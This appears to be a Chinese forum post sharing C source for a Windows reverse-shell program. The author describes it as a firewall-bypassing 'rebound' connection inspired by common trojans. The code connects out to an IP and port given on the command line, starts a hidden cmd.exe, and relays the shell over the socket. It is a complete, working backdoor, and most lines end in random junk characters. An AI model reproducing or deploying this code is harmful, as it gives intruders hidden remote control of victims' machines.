这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q/?$x*\>
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/* ============================== 8(De^H lO
Rebound port in Windows NT df=f62
By wind,2006/7 ~~.}ah/_d
===============================*/ ta0|^KAA
#include _GPe<H
#include <%^&2UMg
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#pragma comment(lib,"wsock32.lib") xLE)/}y_7H
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void OutputShell(); 7^Uv7<pw
SOCKET sClient; SJLis"8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "tZe>>I
m'U0'}Ld};
void main(int argc,char **argv) N+|d3X!
{ m~|40)
WSADATA stWsaData; 0J|3kY-n>
int nRet; <v2;p}A
SOCKADDR_IN stSaiClient,stSaiServer; Q59suL
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if(argc != 3) + 3gp%`c4
{ =wJX0A|
printf("Useage:\n\rRebound DestIP DestPort\n"); K"6vXv4QO
return; iscz}E,Y
} `V1]k_h
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WSAStartup(MAKEWORD(2,2),&stWsaData); mq l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iv *<La
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stSaiClient.sin_family = AF_INET; B~mj 8l4
stSaiClient.sin_port = htons(0); :s,Z<^5a)g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~u{uZ(~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zA 3_Lx!
{ kM6
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printf("Bind Socket Failed!\n"); NbobliC=
return; |)&%A%m
} GyIV
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stSaiServer.sin_family = AF_INET; 7$b1<.WX
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H\
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6863xOv{T
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h8P)%p
{ M}a6Vu9
printf("Connect Error!"); 3]>| i
return; 0sqFF[i
} >z03{=sAN
OutputShell(); ^~dWU>
} ]d]]'Hk
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void OutputShell() Q8NX)R
{ e(sk[guvX
char szBuff[1024]; bOB\--:]
SECURITY_ATTRIBUTES stSecurityAttributes; }EPY^VIw
OSVERSIONINFO stOsversionInfo; [GR;?R5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a[C@
STARTUPINFO stStartupInfo; KXy6Eno
char *szShell; $`c:&
PROCESS_INFORMATION stProcessInformation; j.Hf/vi`z
unsigned long lBytesRead; +0&/g&a\R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2T35{Q!=F
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); . vV|hSc
stSecurityAttributes.lpSecurityDescriptor = 0; |=w@H]r
stSecurityAttributes.bInheritHandle = TRUE; f 2.HF@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wri<h:1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bsX[UF
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WY/}1X9.%
stStartupInfo.wShowWindow = SW_HIDE; $X6h|?3U,
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >j/w@Fj
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GetVersionEx(&stOsversionInfo); WLT"ji0w2
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switch(stOsversionInfo.dwPlatformId) *p U x8yB
{ | (93gJ
case 1: vQCy\Gi
szShell = "command.com"; }j%5t ~Qa
break; \85i+q:LuA
default: gJXaPJA{
szShell = "cmd.exe"; }OUt sh ]y
break; AKC`TA*E
} tA;}h7/Lc~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kj_c%T
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send(sClient,szMsg,77,0); XTyxr
while(1) t# i#(H
{ b;n[mk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J zl6eo[;
if(lBytesRead) ,F|f. 7;
{ p2eGm-Erq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }tz7b#
send(sClient,szBuff,lBytesRead,0); h0$iOE
} pP_LR
ks}
else O-^Ma-}
{ CTb%(<r
lBytesRead=recv(sClient,szBuff,1024,0); )8AXm
if(lBytesRead<=0) break; KoT\pY^7\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f#;> g
} @dKTx#gZ
} >7|VR:U?B
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return; *w&e\i|7
}